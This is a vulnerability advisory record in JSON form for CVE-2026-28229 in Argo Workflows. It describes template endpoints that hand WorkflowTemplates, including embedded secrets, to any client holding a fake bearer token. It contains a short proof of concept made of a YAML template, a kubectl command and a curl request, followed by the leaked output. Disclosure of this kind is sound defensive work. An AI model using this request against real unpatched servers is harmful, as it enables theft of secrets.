{"id":"GHSA-56px-hm34-xqj5","revision":null,"records":[{"revision":"eb0a32155c844441b041eeaf9391b7eb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-28229","aliases":[],"title":"Argo Workflows has unauthorized access to Argo Workflows Template","description":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 4.0.2 and 3.7.11, Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-28229","identifiers":["CVE-2026-28229"]},"retained":false,"historicalAffected":[]},{"revision":"60645c09a5b442be91e6ce2f04df6c91","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-56px-hm34-xqj5","aliases":["BIT-argo-workflows-2026-28229","CVE-2026-28229","GO-2026-4678"],"title":"Unauthorized access to Argo Workflows Template","description":"### Summary\nWorkflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.\n\n### Details\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72\n\nInformers use the server’s rest config, so they read using server SA privileges. \n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46\n\n### PoC\n1. Create template\n\n```yml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: leak-workflow-template\n  namespace: argo\nspec:\n  templates:\n  - name: make-secret\n    resource:\n      action: create\n      manifest: |\n        apiVersion: v1\n        kind: Secret\n        metadata:\n          name: leaked-secret\n        type: Opaque\n        data:\n          password: c3VwZXJzZWNyZXQ=\n```\n\nThen apply that with `kubectl apply -f poc.yml`\n2. Query Argo Server with a fake token\n\n**Result:**\n\n```cmd\n> kubectl apply -f poc.yml\nworkflowtemplate.argoproj.io/leak-workflow-template created\n> curl -sk -H \"Authorization: Bearer nothing\" \\\n    \"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template\"\n{\"metadata\":{\"name\":\"leak-workflow-template\",\"namespace\":\"argo\",\"uid\":\"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c\",\"resourceVersion\":\"867394\",\"generation\":1,\"creationTimestamp\":\"REDACTED\",\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"argoproj.io/v1alpha1\\\",\\\"kind\\\":\\\"WorkflowTemplate\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"leak-workflow-template\\\",\\\"namespace\\\":\\\"argo\\\"},\\\"spec\\\":{\\\"templates\\\":[{\\\"name\\\":\\\"make-secret\\\",\\\"resource\\\":{\\\"action\\\":\\\"create\\\",\\\"manifest\\\":\\\"apiVersion: v1\\\\nkind: Secret\\\\nmetadata:\\\\n  name: leaked-secret\\\\ntype: Opaque\\\\ndata:\\\\n  password: c3VwZXJzZWNyZXQ=\\\\n\\\"}}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"argoproj.io/v1alpha1\",\"time\":\"REDACTED\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}}},\"f:spec\":{\".\":{},\"f:templates\":{}}}}]},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"inputs\":{},\"outputs\":{},\"metadata\":{},\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}],\"arguments\":{}}}\n```\n\n### Impact\nAny client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource 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